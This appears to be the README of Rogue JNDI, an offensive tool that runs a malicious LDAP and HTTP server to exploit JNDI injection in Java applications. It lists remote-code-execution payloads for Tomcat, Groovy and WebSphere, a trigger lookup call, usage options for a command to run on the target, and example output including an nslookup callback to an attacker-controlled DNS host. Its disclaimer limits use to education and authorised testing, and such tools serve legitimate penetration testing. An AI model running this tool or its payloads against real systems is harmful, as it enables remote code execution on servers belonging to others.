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Rogue JNDI

A malicious LDAP server for JNDI injection attacks.

Description

The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.
In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:

InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

It will initiate a connection from the vulnerable client to the local LDAP server. Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.

Motivation

In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of ObjectFactories.

Supported payloads

  • RemoteReference.java - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
  • Tomcat.java - leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory
  • Groovy.java - leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java - leads to OOB XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java - leads to RCE via classpath manipulation in com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

Usage

$ java -jar target/RogueJndi-1.0.jar -h
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Usage: java -jar target/RogueJndi-1.0.jar [options]
  Options:
    -c, --command  Command to execute on the target server (default: 
                   /Applications/Calculator.app/Contents/MacOS/Calculator) 
    -n, --hostname Local HTTP server hostname (required for remote 
                   classloading and websphere payloads) (default: 
                   192.168.1.10) 
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8000)
    --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                   (default: /list.wsdl)
    --localjar     [websphere2 payload option] Local jar file to load (this 
                   file should be located on the remote server) (default: 
                   ../../../../../tmp/jar_cache7808167489549525095.tmp) 
    -h, --help     Show this help

The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c).

As an alternative to the "-c" option, you can modify the ExportObject.java file by putting java code you want to execute on the target server.

Example:

$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
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Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

Building

Java v1.7+ and Maven v3+ required

mvn package

Disclamer

This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack.

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Michael Stepankin

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